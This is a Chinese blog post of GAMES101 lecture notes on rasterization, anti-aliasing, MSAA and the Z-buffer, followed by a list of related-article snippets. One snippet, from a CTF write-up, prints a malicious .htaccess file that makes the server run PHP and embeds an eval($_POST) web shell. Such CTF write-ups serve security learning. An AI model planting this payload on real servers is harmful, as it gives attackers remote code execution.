games101-(5/6)

光栅化

投影完成之后,视图区域被确定在从[-1,1]的单位矩阵中,下一步就是光栅化

长宽比:ratio

垂直的可视角度:fild-of-view 可以看到的y 轴的范围,角度越小 越接近正交投影

屏幕坐标系

将多边形转化成像素

显示器的成像:隔行扫描(每次仅仅绘制奇数行或偶数行)

三角形

像素和三角形的位置关系:像素的中心点和三角形的位置关系如何确定

采样

判断像素的中心点是否在三角形内

如何实现一个点是否在三角形内?

使用叉乘:p1p2 与p1q 叉乘 ,使用右手螺旋定则,z朝外,q 在p1 p2 的左侧

同理:q 在p2p0的右侧

q在p0 p1 的左侧;

因此 q 在三角形外侧

包围盒:bounding box ;不需要考虑所有的像素;考虑 三角形顶点的最大最小值

实际中会有锯齿,光栅化采样会导致该问题

反走样

通过判断像素点中心是否在三角形中,获取该像素点的值

实际得到:

期望得到:

实际上不期望出现锯齿

采样产生的现象:

(1)锯齿:jaggies

(2)摩尔纹

通过删除奇数行列后放大到和原图像尺寸

频域

高频信息:

对应图像的边界

卷积

时域卷积= 频域乘积

采样频率过低会导致频谱混叠,无法恢复,采样频率>= f

处理

(1)增加采样率:显示器分辨率高,像素和像素之间的间隔小,采样率高,更清楚

(2)反走样:先做模糊处理(低通滤波,过滤掉高频信息),再采样,相当于降低了原来频谱的对应的T,这样低的采样率不容易造成频谱混叠,无法过滤出原来的频谱

计算平均像素值:

MSAA

通过对像素内的多个位置进行采样并取其平均值来近似 1 像素盒式滤波器的效果

原本的效果:

第一步:使用2x2的像素点代替原来的像素点 

如蓝色区域,有75%的像素点在三角形内 

深度缓冲 Z-buffer

Painter‘s Algorithm

先画远处,再画近处

解决不了环形覆盖的问题

Z-Buffer

右图记录深度,深度越小,颜色越重

算法

如果当前三角形点的z 值小于 zbuffer中维护的z值,则重新赋值;

并且更新该点中的z值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/960855.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux之详谈——权限管理

目录 小 峰 编 程 ​编辑 一、权限概述 1、什么是权限 2、为什么要设置权限 3、Linux中的权限类别- 4、Linux中文件所有者 1)所有者分类(谁) 2)所有者的表示方法 ① u(the user who owns it)(属主权限&…

oracle比较一下统计信息差异吧

统计信息发生了哪些变化? 从上次收集到最近一次收集有什么不同? set long 999999 longc 99999 line 100 select report, maxdiffpct from table(dbms_stats.diff_table_stats_in_history(SYS,T1,to_timestamp(2025-01-22 09:01:46,YYYY-MM-DD hh24:mi:s…

【现代深度学习技术】深度学习计算 | 参数管理

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…

用WinForm如何制作简易计算器

首先我们要自己搭好页面 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;namespace _7_简易计算…

spring入门其实特别简单,也可以做单机。

直接在官网配置 点右边的"ADD DEPENDENCIES",选“Spring Web” 然后点“GENERATE”,会自动下载一个demo.zip。解压demo.zip,用IntelliJ IDEA打开就能用了。 IntelliJ IDEA打开之后,你得配置你的

智慧消防营区一体化安全管控 2024 年度深度剖析与展望

在 2024 年,智慧消防营区一体化安全管控领域取得了令人瞩目的进展,成为保障营区安全稳定运行的关键力量。这一年,行业在政策驱动、技术创新应用、实践成果及合作交流等方面呈现出多元且深刻的发展态势,同时也面临着一系列亟待解决…

C++封装红黑树实现mymap和myset和模拟实现详解

文章目录 map和set的封装map和set的底层 map和set的模拟实现insertiterator实现的思路operatoroperator- -operator[ ] map和set的封装 介绍map和set的底层实现 map和set的底层 一份模版实例化出key的rb_tree和pair<k,v>的rb_tree rb_tree的Key和Value不是我们之前传统意…

1. Java-MarkDown文件创建-工具类

Java-MarkDown文件创建-工具类 1. 思路 根据markdown语法&#xff0c;拼装markdown文本内容 2. 工具类 import java.util.Arrays; import java.util.List;/*** Markdown生成工具类* Author: 20004855* Date: 2021/1/15 16:00*/ public class MarkdownGenerator {private Str…

虚拟机中的IP地址总是变化怎么办

1、问题概述&#xff1f; 在虚拟机中安装的centos或者redhat&#xff0c;默认情况下使用的都是dbcp模式&#xff0c;会自动的获取ip地址。 每次重启虚拟机后&#xff0c;可能都会使用不同的ip地址。 如何需要使用固定ip&#xff0c;就需要手动修改。 本文测试系统RedHat7.9…

物业管理系统推动社区智能化与服务创新的未来发展路径

内容概要 随着物业管理行业的不断发展&#xff0c;物业管理系统也逐渐成为社区管理的重要组成部分。它不仅能够显著提高服务效率&#xff0c;还带来了很多创新的服务模式&#xff0c;这些都让生活变得更加便利。首先&#xff0c;物业管理系统通过在线收费功能&#xff0c;可以…

AI如何帮助解决生活中的琐碎难题?

引言&#xff1a;AI已经融入我们的日常生活 你有没有遇到过这样的情况——早上匆忙出门却忘了带钥匙&#xff0c;到了公司才想起昨天的会议资料没有打印&#xff0c;或者下班回家还在纠结晚饭吃什么&#xff1f;这些看似微不足道的小事&#xff0c;往往让人疲惫不堪。而如今&a…

QT+mysql+python 效果:

# This Python file uses the following encoding: utf-8 import sysfrom PySide6.QtWidgets import QApplication, QWidget,QMessageBox from PySide6.QtGui import QStandardItemModel, QStandardItem # 导入需要的类# Important: # 你需要通过以下指令把 form.ui转为ui…

基于RIP的MGRE实验

实验拓扑 实验要求 按照图示配置IP地址配置静态路由协议&#xff0c;搞通公网配置MGRE VPNNHRP的配置配置RIP路由协议来传递两端私网路由测试全网通 实验配置 1、配置IP地址 [R1]int g0/0/0 [R1-GigabitEthernet0/0/0]ip add 15.0.0.1 24 [R1]int LoopBack 0 [R1-LoopBack0]i…

Python微服务框架Nameko | python 小知识

Python微服务框架Nameko | python 小知识 1. 微服务介绍 微服务架构是一种将应用程序拆分为多个小型服务的方法&#xff0c;每个服务都可以独立开发、部署和扩展。这种架构使得应用程序更加模块化、可维护和可扩展。微服务架构的核心在于服务间的通信&#xff0c;主要有同步通…

多模态论文笔记——TECO

大家好&#xff0c;这里是好评笔记&#xff0c;公主号&#xff1a;Goodnote&#xff0c;专栏文章私信限时Free。本文详细解读多模态论文TECO&#xff08;Temporally Consistent Transformer&#xff09;&#xff0c;即时间一致变换器&#xff0c;是一种用于视频生成的创新模型&…

98.1 AI量化开发:长文本AI金融智能体(Qwen-Long)对金融研报大批量处理与智能分析的实战应用

目录 0. 承前1. 简介1.1 通义千问(Qwen-Long)的长文本处理能力 2. 基础功能实现2.1 文件上传2.2 单文件分析2.3 多文件分析 3. 汇总代码&运行3.1 封装的工具函数3.2 主要功能特点3.3 使用示例3.4 首次运行3.5 运行结果展示 4. 注意事项4.1 文件要求4.2 错误处理机制4.3 最佳…

[ACTF2020 新生赛]BackupFile1

题目 翻译&#xff0c;尝试找出源文件&#xff01; 扫目录使用参数-e * python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e * 最终扫描到一个文件名为&#xff1a;/index.php.bak的文件&#xff0c;把备份文件下载下来 源码 <?…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

Flink运行时架构

一、系统架构 1&#xff09;作业管理器&#xff08;JobManager&#xff09; JobManager是一个Flink集群中任务管理和调度的核心&#xff0c;是控制应用执行的主进程。也就是说&#xff0c;每个应用都应该被唯一的JobManager所控制执行。 JobManger又包含3个不同的组件。 &am…

高可用集群故障之join

本文记录了在部署高可用的k8s集群时&#xff0c;遇到的一个故障及其解决方法。 集群环境 描述&#xff1a;三主三从&#xff0c;eth0为外网网卡&#xff0c;eth1为内网网卡&#xff0c;内网互通。 需求&#xff1a;eth0只负责访问外网&#xff0c;eth1作为集群间的通信。 主…